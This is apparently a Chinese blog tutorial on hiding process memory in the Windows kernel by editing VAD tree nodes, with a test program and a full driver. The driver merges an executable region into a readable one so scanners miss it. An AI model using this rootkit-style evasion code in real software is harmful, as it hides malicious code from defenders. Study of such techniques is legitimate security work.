Windows內核分析索引目錄:https://www.cnblogs.com/onetrainee/p/11675224.html
技術學習來源:火哥(QQ:471194425)
內存在0環的兩種內存隱藏方式(基於VAD樹)
一、通過 _MMVAD.StartingVpn與_MMVAD.EndingVpn等值來隱藏內存。
這種方法找到需要隱藏的VAD結點,使 _MMVAD.StartingVpn=_MMVAD.EndingVpn,這樣就能達到隱藏的效果
在 》》VAD樹的屬性及其遍歷 《《 中,在遍歷每個結點下,直接 pVad.StartingVpn = pVad.EndingVpn即可。
1)隱藏前的效果
2)隱藏后的效果
二、通過將兩個VAD結點融合達到隱藏效果
我們需要找到 宿主結點p1 與 被隱藏結點p2,將p2融合進p1中,此時就會顯示p1的段屬性從而忽視p2的段屬性。
比如掃描內存時,惡意代碼必然可執行 EXECUTE,但是我們隱藏在READ之類段中,往往可以規避掉掃描。
實現方法 p1.EndingVpn = p2.EndingPvn
1) 實驗代碼 test.exe
1 // test.cpp : Defines the entry point for the console application. 2 // 3 4 #include "stdafx.h" 5 #include <iostream> 6 #include <Windows.h> 7 #include <stdlib.h> 8 int main() 9 { 10 LPVOID p1 = VirtualAlloc(NULL, 0x10000, MEM_COMMIT, PAGE_READWRITE); 11 LPVOID p2 = VirtualAlloc(NULL, 0x10000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 12 printf("p1 = %x / p2 = %x", p1, p2); 13 system("pause"); 14 }
2) 驅動代碼
1 #include <ntddk.h> 2 3 4 //---------------------// 5 // MMVAD結構體簡單定義 // 6 //---------------------// 7 typedef struct _MMVAD { 8 ULONG StartingVpn; 9 ULONG EndingVpn; 10 struct _MMVAD * Parent; 11 struct _MMVAD * LeftChild; 12 struct _MMVAD * RightChild; 13 }MMVAD,*PMMVAD; 14 15 16 17 VOID Unload(IN PDRIVER_OBJECT pDriverObject) { 18 DbgPrint("Driver UnLoad!"); 19 } 20 21 //-----------// 22 // 遍歷VAD樹 // 23 //-----------// 24 PMMVAD vad_enum(PMMVAD pVad,ULONG target_StartingVpn) { 25 26 //---------------------------// 27 // 遍歷目標VAD,並返回其指針 // 28 //---------------------------// 29 if (pVad) { 30 if (target_StartingVpn == pVad->StartingVpn) { 31 _asm int 3 32 return pVad; 33 } 34 else { 35 if (pVad->LeftChild) { 36 PMMVAD p1 = vad_enum(pVad->LeftChild, target_StartingVpn); 37 // 如果結點不為空,則直接返回就好。 38 // 否則繼續判斷其右子樹結點。 39 if (p1) 40 return p1; 41 } 42 if (pVad->RightChild) { 43 PMMVAD p2 = vad_enum(pVad->RightChild, target_StartingVpn); 44 if (p2) 45 return p2; 46 } 47 return NULL; 48 } 49 } 50 return NULL; 51 } 52 53 //-------------------------------------------------------------// 54 // 在內核中進程遍歷的原理就是先獲取系統進程EPROCESS結構 // 55 // 然后依照其鏈表來獲取其他的進程 // 56 // 依次遍歷出來 // 57 //-------------------------------------------------------------// 58 NTSTATUS process_enum() { 59 60 PEPROCESS pEprocess = NULL; // 得到系統進程地址 61 PEPROCESS pFirstEprocess = NULL; 62 ULONG ulProcessName = 0; // 字符串指針,指向進程名稱 63 ULONG ulProcessID = 0; // 進程ID 64 ANSI_STRING target_str; // 帶檢測進程的名稱 65 ANSI_STRING ansi_string; // 66 ULONG VadRoot; 67 68 //----------------------------// 69 // 得到當前系統進程的EPROCESS // 70 //----------------------------// 71 pEprocess = PsGetCurrentProcess(); 72 if (pEprocess == NULL) { 73 DbgPrint("獲取當前系統進程EPROCESS錯誤.."); 74 return STATUS_SUCCESS; 75 } 76 DbgPrint("pEprocess addr is %x0x8\r\n", pEprocess); 77 pFirstEprocess = pEprocess; 78 79 while (pEprocess) { 80 81 ulProcessName = (ULONG)pEprocess + 0x174; 82 ulProcessID = *(ULONG*)((ULONG)pEprocess + 0x84); 83 VadRoot = *(ULONG*)((ULONG)pEprocess + 0x11c); 84 85 //--------------------------------------// 86 // 將目標進程與當前進程的進程名進行對比 // 87 //--------------------------------------// 88 RtlInitAnsiString(&ansi_string, (PCSTR)ulProcessName); 89 RtlInitAnsiString(&target_str, "test.exe"); 90 if (RtlEqualString(&ansi_string, &target_str, TRUE)) { 91 DbgPrint("檢測到進程字符串,%x", ulProcessID); 92 93 PMMVAD p1 = vad_enum((PMMVAD)VadRoot,0x3a0); // 遍歷第一個結點 94 PMMVAD p2 = vad_enum((PMMVAD)VadRoot, 0x3b0); // 遍歷找到第二個結點 95 _asm int 3 96 if(p1 && p2) 97 p1->EndingVpn = p2->EndingVpn; // 將第二個結點完全隱藏起來 98 99 100 return STATUS_SUCCESS; 101 } 102 pEprocess = (PEPROCESS)(*(ULONG*)((ULONG)pEprocess + 0x88) - 0x88); 103 if (pEprocess == pFirstEprocess || *(ULONG*)((ULONG)pEprocess + 0x84) <= 0) { 104 DbgPrint("遍歷結束!未檢測到進程ID!\r\n"); 105 break; 106 } 107 } 108 return STATUS_SUCCESS; 109 } 110 111 NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING registeryPat) { 112 DbgPrint("Driver Loaded!"); 113 pDriverObject->DriverUnload = Unload; 114 process_enum(); 115 return STATUS_SUCCESS; 116 }
3)隱藏效果